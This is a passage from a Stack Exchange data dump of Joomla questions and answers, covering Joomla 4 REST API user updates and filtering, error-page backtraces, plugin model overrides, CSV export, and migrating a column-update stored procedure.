&amp;quot;core_metadata&amp;quot;:&amp;quot;metadata&amp;quot;, &amp;quot;core_language&amp;quot;:&amp;quot;language&amp;quot;, &amp;quot;core_images&amp;quot;:&amp;quot;null&amp;quot;, &amp;quot;core_urls&amp;quot;:&amp;quot;null&amp;quot;, &amp;quot;core_version&amp;quot;:&amp;quot;version&amp;quot;, &amp;quot;core_ordering&amp;quot;:&amp;quot;null&amp;quot;, &amp;quot;core_metakey&amp;quot;:&amp;quot;metakey&amp;quot;, &amp;quot;core_metadesc&amp;quot;:&amp;quot;metadesc&amp;quot;, &amp;quot;core_catid&amp;quot;:&amp;quot;parent_id&amp;quot;, &amp;quot;core_xreference&amp;quot;:&amp;quot;null&amp;quot;, &amp;quot;asset_id&amp;quot;:&amp;quot;asset_id&amp;quot;}, &amp;quot;special&amp;quot;:{&amp;quot;parent_id&amp;quot;:&amp;quot;parent_id&amp;quot;,&amp;quot;lft&amp;quot;:&amp;quot;lft&amp;quot;,&amp;quot;rgt&amp;quot;:&amp;quot;rgt&amp;quot;,&amp;quot;level&amp;quot;:&amp;quot;level&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;path&amp;quot;,&amp;quot;extension&amp;quot;:&amp;quot;extension&amp;quot;,&amp;quot;note&amp;quot;:&amp;quot;note&amp;quot;}}', '', 'DrawingRouter::getCategoryRoute', '{&amp;quot;formFile&amp;quot;:&amp;quot;administrator\\\\/components\\\\/com_categories\\\\/models\\\\/forms\\\\/category.xml&amp;quot;, &amp;quot;hideFields&amp;quot;:[&amp;quot;asset_id&amp;quot;,&amp;quot;checked_out&amp;quot;,&amp;quot;checked_out_time&amp;quot;,&amp;quot;version&amp;quot;,&amp;quot;lft&amp;quot;,&amp;quot;rgt&amp;quot;,&amp;quot;level&amp;quot;,&amp;quot;path&amp;quot;,&amp;quot;extension&amp;quot;], &amp;quot;ignoreChanges&amp;quot;:[&amp;quot;modified_user_id&amp;quot;, &amp;quot;modified_time&amp;quot;, &amp;quot;checked_out&amp;quot;, &amp;quot;checked_out_time&amp;quot;, &amp;quot;version&amp;quot;, &amp;quot;hits&amp;quot;, &amp;quot;path&amp;quot;],&amp;quot;convertToInt&amp;quot;:[&amp;quot;publish_up&amp;quot;, &amp;quot;publish_down&amp;quot;], &amp;quot;displayLookup&amp;quot;:[{&amp;quot;sourceColumn&amp;quot;:&amp;quot;created_user_id&amp;quot;,&amp;quot;targetable&amp;quot;:&amp;quot;#__users&amp;quot;,&amp;quot;targetColumn&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;displayColumn&amp;quot;:&amp;quot;name&amp;quot;},{&amp;quot;sourceColumn&amp;quot;:&amp;quot;access&amp;quot;,&amp;quot;targetTable&amp;quot;:&amp;quot;#__viewlevels&amp;quot;,&amp;quot;targetColumn&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;displayColumn&amp;quot;:&amp;quot;title&amp;quot;},{&amp;quot;sourceColumn&amp;quot;:&amp;quot;modified_user_id&amp;quot;,&amp;quot;targetable&amp;quot;:&amp;quot;#__users&amp;quot;,&amp;quot;targetColumn&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;displayColumn&amp;quot;:&amp;quot;name&amp;quot;},{&amp;quot;sourceColumn&amp;quot;:&amp;quot;parent_id&amp;quot;,&amp;quot;targetTable&amp;quot;:&amp;quot;#__categories&amp;quot;,&amp;quot;targetColumn&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;displayColumn&amp;quot;:&amp;quot;title&amp;quot;}]}');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;And&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;INSERT INTO #__content_types (type_id, type_title, type_alias, &lt;/code&gt;table&lt;code&gt;, rules, field_mappings, router, content_history_options) VALUES(10035, 'drawingtable Category', 'com_drawing.tools.category', '{&amp;quot;special&amp;quot;:{&amp;quot;dbtable&amp;quot;:&amp;quot;#__categories&amp;quot;,&amp;quot;key&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;type&amp;quot;:&amp;quot;CategoryTable&amp;quot;,&amp;quot;prefix&amp;quot;:&amp;quot;Joomla\\\\Component\\\\Categories\\\\Administrator\\\\Table\\\\&amp;quot;,&amp;quot;config&amp;quot;:&amp;quot;array()&amp;quot;},&amp;quot;common&amp;quot;:   {&amp;quot;dbtable&amp;quot;:&amp;quot;#__ucm_content&amp;quot;,&amp;quot;key&amp;quot;:&amp;quot;ucm_id&amp;quot;,&amp;quot;type&amp;quot;:&amp;quot;Corecontent&amp;quot;,&amp;quot;prefix&amp;quot;:&amp;quot;Joomla\\\\CMS\\\\Table\\\\&amp;quot;,&amp;quot;config&amp;quot;:&amp;quot;array()&amp;quot;}}', '{&amp;quot;common&amp;quot;:{&amp;quot;core_content_item_id&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;core_title&amp;quot;:&amp;quot;title&amp;quot;,&amp;quot;core_state&amp;quot;:&amp;quot;published&amp;quot;,&amp;quot;core_alias&amp;quot;:&amp;quot;alias&amp;quot;,&amp;quot;core_created_time&amp;quot;:&amp;quot;created_time&amp;quot;,&amp;quot;core_modified_time&amp;quot;:&amp;quot;modified_time&amp;quot;,&amp;quot;core_body&amp;quot;:&amp;quot;description&amp;quot;, &amp;quot;core_hits&amp;quot;:&amp;quot;hits&amp;quot;,&amp;quot;core_publish_up&amp;quot;:&amp;quot;null&amp;quot;,&amp;quot;core_publish_down&amp;quot;:&amp;quot;null&amp;quot;,&amp;quot;core_access&amp;quot;:&amp;quot;access&amp;quot;, &amp;quot;core_params&amp;quot;:&amp;quot;params&amp;quot;, &amp;quot;core_featured&amp;quot;:&amp;quot;null&amp;quot;, &amp;quot;core_metadata&amp;quot;:&amp;quot;metadata&amp;quot;, &amp;quot;core_language&amp;quot;:&amp;quot;language&amp;quot;, &amp;quot;core_images&amp;quot;:&amp;quot;null&amp;quot;, &amp;quot;core_urls&amp;quot;:&amp;quot;null&amp;quot;, &amp;quot;core_version&amp;quot;:&amp;quot;version&amp;quot;, &amp;quot;core_ordering&amp;quot;:&amp;quot;null&amp;quot;, &amp;quot;core_metakey&amp;quot;:&amp;quot;metakey&amp;quot;, &amp;quot;core_metadesc&amp;quot;:&amp;quot;metadesc&amp;quot;, &amp;quot;core_catid&amp;quot;:&amp;quot;parent_id&amp;quot;, &amp;quot;core_xreference&amp;quot;:&amp;quot;null&amp;quot;, &amp;quot;asset_id&amp;quot;:&amp;quot;asset_id&amp;quot;}, &amp;quot;special&amp;quot;:{&amp;quot;parent_id&amp;quot;:&amp;quot;parent_id&amp;quot;,&amp;quot;lft&amp;quot;:&amp;quot;lft&amp;quot;,&amp;quot;rgt&amp;quot;:&amp;quot;rgt&amp;quot;,&amp;quot;level&amp;quot;:&amp;quot;level&amp;quot;,&amp;quot;path&amp;quot;:&amp;quot;path&amp;quot;,&amp;quot;extension&amp;quot;:&amp;quot;extension&amp;quot;,&amp;quot;note&amp;quot;:&amp;quot;note&amp;quot;}}', '', 'DrawingRouter::getCategoryRoute', '{&amp;quot;formFile&amp;quot;:&amp;quot;administrator\\\\/components\\\\/com_categories\\\\/models\\\\/forms\\\\/category.xml&amp;quot;, &amp;quot;hideFields&amp;quot;:[&amp;quot;asset_id&amp;quot;,&amp;quot;checked_out&amp;quot;,&amp;quot;checked_out_time&amp;quot;,&amp;quot;version&amp;quot;,&amp;quot;lft&amp;quot;,&amp;quot;rgt&amp;quot;,&amp;quot;level&amp;quot;,&amp;quot;path&amp;quot;,&amp;quot;extension&amp;quot;], &amp;quot;ignoreChanges&amp;quot;:[&amp;quot;modified_user_id&amp;quot;, &amp;quot;modified_time&amp;quot;, &amp;quot;checked_out&amp;quot;, &amp;quot;checked_out_time&amp;quot;, &amp;quot;version&amp;quot;, &amp;quot;hits&amp;quot;, &amp;quot;path&amp;quot;],&amp;quot;convertToInt&amp;quot;:[&amp;quot;publish_up&amp;quot;, &amp;quot;publish_down&amp;quot;], &amp;quot;displayLookup&amp;quot;:[{&amp;quot;sourceColumn&amp;quot;:&amp;quot;created_user_id&amp;quot;,&amp;quot;targetable&amp;quot;:&amp;quot;#__users&amp;quot;,&amp;quot;targetColumn&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;displayColumn&amp;quot;:&amp;quot;name&amp;quot;},{&amp;quot;sourceColumn&amp;quot;:&amp;quot;access&amp;quot;,&amp;quot;targetTable&amp;quot;:&amp;quot;#__viewlevels&amp;quot;,&amp;quot;targetColumn&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;displayColumn&amp;quot;:&amp;quot;title&amp;quot;},{&amp;quot;sourceColumn&amp;quot;:&amp;quot;modified_user_id&amp;quot;,&amp;quot;targetable&amp;quot;:&amp;quot;#__users&amp;quot;,&amp;quot;targetColumn&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;displayColumn&amp;quot;:&amp;quot;name&amp;quot;},{&amp;quot;sourceColumn&amp;quot;:&amp;quot;parent_id&amp;quot;,&amp;quot;targetTable&amp;quot;:&amp;quot;#__categories&amp;quot;,&amp;quot;targetColumn&amp;quot;:&amp;quot;id&amp;quot;,&amp;quot;displayColumn&amp;quot;:&amp;quot;title&amp;quot;}]}');&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="16785" LastActivityDate="2023-09-06T15:37:20.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33331" PostTypeId="2" ParentId="32636" CreationDate="2023-09-06T16:13:27.360" Score="0" Body="&lt;p&gt;The problem has been solved in the new version&lt;/p&gt;&#xA;" OwnerUserId="13815" LastActivityDate="2023-09-06T16:13:27.360" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33332" PostTypeId="1" AcceptedAnswerId="33334" CreationDate="2023-09-07T14:30:38.980" Score="0" ViewCount="64" Body="&lt;p&gt;I am working on a site that has errors, and debug is turned on in the configuration. But all I see is the image below with a bare error and no context. How can I get the usual debug information?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kkEso.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kkEso.png&quot; alt=&quot;Screenshot of error page&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15057" LastActivityDate="2023-09-08T05:53:25.610" Title="What can cause Joomla to show a face and bare error message, even though debug is turned on" Tags="|error-handling|debug|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33333" PostTypeId="1" CreationDate="2023-09-07T19:23:04.387" Score="1" ViewCount="26" Body="&lt;p&gt;In our organization we use Salesforce as the authoritative source of info about our users, so it makes sense for us to use that info when creating the associated users in our new Joomla site.&lt;/p&gt;&#xA;&lt;p&gt;I have written code in Salesforce that calls the Joomla 4 API and creates these Joomla users if they don’t already exist, and then it updates their Joomla group memberships.&lt;/p&gt;&#xA;&lt;p&gt;This code gets called any time we make changes in Salesforce that would impact the user's group membership rights, so if the user already exists, it just updates group memberships.&lt;/p&gt;&#xA;&lt;p&gt;All this works great except for one problem:&lt;/p&gt;&#xA;&lt;p&gt;Whenever I update a user using a PATCH API call, it somehow changes or invalidates the password, so I can no longer login as that user.  For some reason, Joomla changes the password even though in my PATCH call, I don’t include the password or password2 fields.  For example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://zzzzz.com/api/index.php/v1/users/957&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://zzzzz.com/api/index.php/v1/users/957&lt;/a&gt; (PATCH)&lt;/p&gt;&#xA;&lt;p&gt;{&amp;quot;groups&amp;quot;:{&amp;quot;14&amp;quot;:14,&amp;quot;24&amp;quot;:24,&amp;quot;9&amp;quot;:9,&amp;quot;2&amp;quot;:2,&amp;quot;1&amp;quot;:1}}&lt;/p&gt;&#xA;&lt;p&gt;Can you think of any way to avoid having Joomla change or invalidate the password on a PATCH call?&lt;/p&gt;&#xA;&lt;p&gt;Note that this behavior also happens if I call the API using Postman, so this is not a Salesforce issue.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="17301" LastActivityDate="2023-09-07T19:23:04.387" Title="Updating user via J4 REST API resets password" Tags="|joomla-api|joomla-4|restful-api|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33334" PostTypeId="2" ParentId="33332" CreationDate="2023-09-08T05:31:04.693" Score="1" Body="&lt;p&gt;It means that the template you're using does not render the stack trace in its error layout. To render the stack trace, use &lt;code&gt;Joomla\CMS\Document\ErrorDocument::renderBacktrace()&lt;/code&gt; method. The stack trace should be rendered only when debug is enabled to prevent leaking sensitive data. So at a bare minimum this code can be used inside &lt;code&gt;error.php&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;debug) : ?&amp;gt;&#xA;    &amp;lt;?= $this-&amp;gt;renderBacktrace() ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The exception may contain previous exceptions. In which case you should also render them. Something like this should work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;debug) : ?&amp;gt;&#xA;    &amp;lt;?= $this-&amp;gt;renderBacktrace() ?&amp;gt;&#xA;    &amp;lt;?php // Loop over exceptions ?&amp;gt;&#xA;    &amp;lt;?php while ($error = $this-&amp;gt;_error-&amp;gt;getPrevious()) : ?&amp;gt;&#xA;        &amp;lt;?php // Set the previous exception ?&amp;gt;&#xA;        &amp;lt;?php $this-&amp;gt;setError($error) ?&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?= htmlspecialchars($error-&amp;gt;getMessage(), ENT_QUOTES, 'UTF-8') ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;?= $this-&amp;gt;renderBacktrace() ?&amp;gt;&#xA;    &amp;lt;?php endwhile ?&amp;gt;&#xA;    &amp;lt;?php // Restore the original exception ?&amp;gt;&#xA;    &amp;lt;?php $this-&amp;gt;setError($this-&amp;gt;error) ?&amp;gt;&#xA;&amp;lt;?php endif ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2023-09-08T05:53:25.610" LastActivityDate="2023-09-08T05:53:25.610" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33335" PostTypeId="1" CreationDate="2023-09-08T20:58:54.897" Score="0" ViewCount="32" Body="&lt;p&gt;Users enroll for courses on my website. I want to know how to extract that information into a flat file (csv file)&lt;/p&gt;&#xA;" OwnerUserId="17303" LastActivityDate="2023-10-09T09:08:25.973" Title="how to extract data from joomla website into csv file" Tags="|form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33336" PostTypeId="2" ParentId="33335" CreationDate="2023-09-09T08:51:58.503" Score="1" Body="&lt;p&gt;MySQL own the tool MySQLDUMP you car use in CLI comand on yoour server. You can have more explanations on this question : &lt;a href=&quot;https://stackoverflow.com/questions/12040816/dump-all-tables-in-csv-format-using-mysqldump&quot;&gt;https://stackoverflow.com/questions/12040816/dump-all-tables-in-csv-format-using-mysqldump&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With all the parameter on this command, you can recreate a valid CSV file&lt;/p&gt;&#xA;" OwnerUserId="16374" LastActivityDate="2023-09-09T08:51:58.503" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33337" PostTypeId="1" AcceptedAnswerId="33341" CreationDate="2023-09-09T15:40:35.190" Score="1" ViewCount="22" Body="&lt;p&gt;I want to remove a person from the contacts.&#xA;The contact appears in the frontend but not in the contacts component, so I can not remove or unpublish.&lt;/p&gt;&#xA;&lt;p&gt;(I think someone maybe deleted a non-empty categorie)&lt;/p&gt;&#xA;&lt;p&gt;How to reset this.&lt;/p&gt;&#xA;" OwnerUserId="17304" LastActivityDate="2023-09-12T14:07:26.013" Title="List of contacts shows an obsolete name" Tags="|category|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33338" PostTypeId="1" AcceptedAnswerId="33339" CreationDate="2023-09-10T01:58:13.403" Score="0" ViewCount="44" Body="&lt;p&gt;The J4 REST API allows me to GET a full list of users, but I have not found any example of how to filter such a request, for example by searching by userID or email.&lt;/p&gt;&#xA;&lt;p&gt;When I look at the code for the users API controller (/api/components/com_users/src/Controller/UsersController.php), I see a bunch of code for filtering.&lt;/p&gt;&#xA;&lt;p&gt;I have experimented with parameters and body JSON to try to trigger filtering, but nothing seems to work--it always returns the full list.  For example, I tried adding&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&amp;quot;filter&amp;quot;:[&amp;quot;search&amp;quot;:&amp;quot;montgomery-scott&amp;quot;]}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to the body.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone provide a sample GET request that shows filtering syntax?&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="17301" LastActivityDate="2023-09-10T10:49:34.443" Title="J4 REST API Get users how to filter?" Tags="|joomla-4.x|joomla-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33339" PostTypeId="2" ParentId="33338" CreationDate="2023-09-10T10:49:34.443" Score="1" Body="&lt;p&gt;Include filter parameter in the endpoint URL:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/api/index.php/v1/users?filter[search]=montgomery-scott&amp;amp;filter[active]=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Strangely, this is not documented in Joomla Core APIs &lt;a href=&quot;https://docs.joomla.org/J4.x:Joomla_Core_APIs&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2023-09-10T10:49:34.443" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33340" PostTypeId="1" CreationDate="2023-09-10T14:01:56.747" Score="0" ViewCount="183" Body="&lt;p&gt;I have a System Plugin to filter Joomla 4 Category Blog Articles by Custom Fields. The Plugin basically overrides the core content ArticlesModel by loading it in the onAfterRoute Event like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;require_once __DIR__ . '/models/com_content/ArticlesModel.php';&#xA;       &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This somehow works but I know it is not the way to go when using the Joomla 4 service provider.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it still possible to override core Model class from within a Plugin in Joomla 4?&lt;/li&gt;&#xA;&lt;li&gt;How should this be done in Joomla 4 (best practice)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&lt;p&gt;Following @sharky's comment on this post &lt;a href=&quot;https://joomla.stackexchange.com/a/32099/12652&quot;&gt;https://joomla.stackexchange.com/a/32099/12652&lt;/a&gt; which describes the overriding of the Admin Model, I tried to create a Plugin to override a Site Model. As the Plugin should also change the generated HTML, there is an onAfterRender. The onAfterExtensionBoot and  onAfterRender are loaded by the getSubscribedEvents - which seems to work:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Extension\ComponentInterface;&#xA;use Joomla\CMS\MVC\Factory\MVCFactory;&#xA;use Joomla\CMS\MVC\Factory\MVCFactoryInterface;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;use Joomla\Component\Content\Site\Model\ArticlesModel;&#xA;use Joomla\DI\Container;&#xA;use Joomla\Event\EventInterface;&#xA;&#xA;use MyCompany\Plugin\System\MyPlugin\Model\MyCustomSiteArticlesModel;&#xA;&#xA;final class PlgSystemOverride extends CMSPlugin implements SubscriberInterface&#xA;    {&#xA;        public static function getSubscribedEvents(): array&#xA;        {&#xA;        &#xA;        return [&#xA;            'onAfterExtensionBoot' =&amp;gt; 'onAfterExtensionBoot',&#xA;            'onAfterRender' =&amp;gt; ['onAfterRender', Priority::LOW],&#xA;        ];&#xA;    }&#xA;    &#xA;    public function onAfterExtensionBoot(EventInterface $event)&#xA;    {&#xA;    &#xA;        // Test that a component is being booted.&#xA;        if ($event-&amp;gt;getArgument('type') !== ComponentInterface::class) {&#xA;            return;&#xA;        }&#xA;    &#xA;        // Test that this is com_content component.&#xA;        if ($event-&amp;gt;getArgument('extensionName') !== 'content') {&#xA;            return;&#xA;        }&#xA;    &#xA;        // Get the service container.&#xA;        $container = $event-&amp;gt;getArgument('container');&#xA;    &#xA;        if (!($container instanceof Container)) {&#xA;            return;&#xA;        }&#xA;    &#xA;        // Check that MVC factory is used and can be overridden.&#xA;        if (!$container-&amp;gt;has(MVCFactoryInterface::class) || $container-&amp;gt;isProtected(MVCFactoryInterface::class)) {&#xA;            return;&#xA;        }&#xA;          &#xA;        // Register the custom MVC factory. Here an anonymous class is used but you can use a concrete class.&#xA;        $container-&amp;gt;set(&#xA;            MVCFactoryInterface::class,&#xA;            static fn () =&amp;gt; new class('Joomla\\Component\\Content') extends MVCFactory&#xA;            {&#xA;                protected function getClassName(string $suffix, string $prefix)&#xA;                {&#xA;                    $class = parent::getClassName($suffix, $prefix);&#xA;    &#xA;                    // How to override the site article list model with a custom class?                        &#xA;                    if ($class === ArticlesModel::class) {&#xA;    &#xA;                        return 'MyCustomSiteArticlesModel';&#xA;                    }&#xA;    &#xA;                    return $class;&#xA;                }&#xA;            }&#xA;        );&#xA;    }&#xA;&#xA;    public function onAfterRoute()&#xA;    {&#xA;        // ... do onAfterRoute stuff&#xA;    }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As the code shows, I created a MyCustomSiteArticlesModel class and put it in the src/Model folder of the Plugin:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Component\Content\Site\Model\ArticlesModel;&#xA;&#xA;class CustomfieldsFilterArticlesModel extends ArticlesModel&#xA;{&#xA;    protected function getListQuery()&#xA;    {&#xA;         // ... generate the query&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the getClassName() the &lt;code&gt;ArticlesModel::class&lt;/code&gt; seems to return the Joomla\Component\Content\Administrator\Model\ArticlesModel class and not the Joomla\Component\Content\Site\Model\ArticlesModel. Therefore the classname will not be returned.&lt;/p&gt;&#xA;&lt;p&gt;Questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How does the getClassName() load the MyCustomSiteArticlesModel?&lt;/li&gt;&#xA;&lt;li&gt;Where should the overridden MyCustomSiteArticlesModel class be located?&lt;/li&gt;&#xA;&lt;li&gt;Is this the correct approach to make this work on Joomla Article Blog posts?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Thank you for a few explanations.&lt;/p&gt;&#xA;" OwnerUserId="15765" LastEditorUserId="15765" LastEditDate="2023-09-23T17:21:36.163" LastActivityDate="2023-09-28T06:37:36.010" Title="Overwrite Site Model getListQuery" Tags="|joomla-4.x|plugin|overrides|plugin-events|system-plugin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33341" PostTypeId="2" ParentId="33337" CreationDate="2023-09-11T13:48:59.507" Score="0" Body="&lt;p&gt;If you have phpMyAdmin access to your database, then you could remove records from the database. Joomla's default Contact component (com_contact) stores its records in the &lt;code&gt;#__contact_details&lt;/code&gt; table. Be careful and backup the database before removing anything.&lt;/p&gt;&#xA;&lt;p&gt;However, if you cannot find the contact that you want to remove then maybe someone added the contact details as plain text somewhere a front-end view. Like in a custom HTML Site module.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2023-09-11T13:48:59.507" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33343" PostTypeId="2" ParentId="33337" CreationDate="2023-09-12T14:07:26.013" Score="1" Body="&lt;p&gt;Thanks all. I found the problem.&#xA;Contact was archived, so not visible in the contacts list bu appeared on the contacts page.&#xA;I deleted the contact, problem solved.&lt;/p&gt;&#xA;" OwnerUserId="17304" LastActivityDate="2023-09-12T14:07:26.013" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33344" PostTypeId="1" CreationDate="2023-09-12T17:24:18.437" Score="0" ViewCount="43" Body="&lt;p&gt;I am migrating a componenet from J3 &amp;gt; J4.&#xA;I am stuck with some db code (not my strongest).&lt;/p&gt;&#xA;&lt;p&gt;Maybe there is a kind soul that could re-write this code so it works with J4 and i could onwords :-)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;        $db = JFactory::getDbo();&#xA;&#xA;    $query = &amp;quot;DROP PROCEDURE IF EXISTS &amp;quot; . $db-&amp;gt;qn('redSHOP_Column_Update');&#xA;&#xA;    $db-&amp;gt;setQuery($query)-&amp;gt;execute();&#xA;&#xA;    $query = &amp;quot;CREATE PROCEDURE &amp;quot; . $db-&amp;gt;qn(&amp;quot;redSHOP_Column_Update&amp;quot;) . &amp;quot;(&#xA;        IN &amp;quot; . $db-&amp;gt;qn('tableName') . &amp;quot; VARCHAR(50),&#xA;        IN &amp;quot; . $db-&amp;gt;qn('columnName') . &amp;quot; VARCHAR(50),&#xA;        IN &amp;quot; . $db-&amp;gt;qn('newColumnName') . &amp;quot; VARCHAR(50),&#xA;        IN &amp;quot; . $db-&amp;gt;qn('columnDetail') . &amp;quot; VARCHAR(255)&#xA;        )&#xA;        LANGUAGE SQL&#xA;        NOT DETERMINISTIC&#xA;        CONTAINS SQL&#xA;        COMMENT &amp;quot; . $db-&amp;gt;quote(&#xA;            'Procedure for use in redSHOP to update / add column to table avoid unexpected errors.'&#xA;        ) . &amp;quot;&#xA;        BEGIN&#xA;            SET tableName = REPLACE(tableName, &amp;quot; . $db-&amp;gt;quote('#__') . &amp;quot;, &amp;quot; . $db-&amp;gt;quote(&#xA;            JFactory::getConfig()-&amp;gt;get('dbprefix')&#xA;        ) . &amp;quot;) ;&#xA;            SET columnDetail = REPLACE(columnDetail, &amp;quot; . $db-&amp;gt;quote('#__') . &amp;quot;, &amp;quot; . $db-&amp;gt;quote(&#xA;            JFactory::getConfig()-&amp;gt;get('dbprefix')&#xA;        ) . &amp;quot;) ;&#xA;            set @ColOldExist = (SELECT COUNT(*) FROM information_schema.COLUMNS WHERE COLUMN_NAME=columnName AND TABLE_NAME=tableName AND table_schema = DATABASE());&#xA;            set @ColNewExist = (SELECT COUNT(*) FROM information_schema.COLUMNS WHERE COLUMN_NAME=newColumnName AND TABLE_NAME=tableName AND table_schema = DATABASE());&#xA;            IF (@ColOldExist = 0 AND @ColNewExist = 0) THEN&#xA;                /* Both column doesn't exist. Just add column */&#xA;&#xA;                set @StatementToExecute = concat('ALTER TABLE `',DATABASE(),'`.`',tableName,'` ADD COLUMN `',newColumnName,'` ',columnDetail);&#xA;                prepare DynamicStatement from @StatementToExecute ;&#xA;                execute DynamicStatement ;&#xA;                deallocate prepare DynamicStatement ;&#xA;            ELSEIF (@ColOldExist = 1 AND @ColNewExist = 0) THEN&#xA;                /* Old column exist. New column not exist. Change column */&#xA;&#xA;                set @StatementToExecute = concat('ALTER TABLE `',DATABASE(),'`.`',tableName,'` CHANGE `',columnName,'` ','`',newColumnName,'` ',columnDetail);&#xA;                prepare DynamicStatement from @StatementToExecute ;&#xA;                execute DynamicStatement ;&#xA;                deallocate prepare DynamicStatement ;&#xA;            ELSEIF (@ColOldExist = 0 AND @ColNewExist = 1) THEN&#xA;                    /* Old column not exist. New column exist. Update column */&#xA;&#xA;                    set @StatementToExecute = concat('ALTER TABLE `',DATABASE(),'`.`',tableName,'` CHANGE `',newColumnName,'` ','`',newColumnName,'` ',columnDetail);&#xA;                    prepare DynamicStatement from @StatementToExecute ;&#xA;                    execute DynamicStatement ;&#xA;                    deallocate prepare DynamicStatement ;&#xA;            ELSE&#xA;                /* Old column exist. New column exist. */&#xA;&#xA;                IF (columnName &amp;lt;&amp;gt; newColumnName) THEN&#xA;                    /* Old column is different with new column and both exist =&amp;gt; The old column had to be remove */&#xA;&#xA;                    set @StatementToExecute = concat('ALTER TABLE `',DATABASE(),'`.`',tableName,'` DROP COLUMN `',columnName,'`');&#xA;                    prepare DynamicStatement from @StatementToExecute ;&#xA;                    execute DynamicStatement ;&#xA;                    deallocate prepare DynamicStatement ;&#xA;                END IF ;&#xA;                &#xA;                /* Update structure of new column column */&#xA;&#xA;                set @StatementToExecute = concat('ALTER TABLE `',DATABASE(),'`.`',tableName,'` CHANGE `',newColumnName,'` ','`',newColumnName,'` ',columnDetail);&#xA;                prepare DynamicStatement from @StatementToExecute ;&#xA;                execute DynamicStatement ;&#xA;                deallocate prepare DynamicStatement ;&#xA;            END IF;&#xA;        END&amp;quot;;&#xA;&#xA;    $db-&amp;gt;setQuery($query)-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="17308" LastActivityDate="2023-09-12T17:24:18.437" Title="Joomla 4 db prepared statement re-write" Tags="|joomla-4.x|migration|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
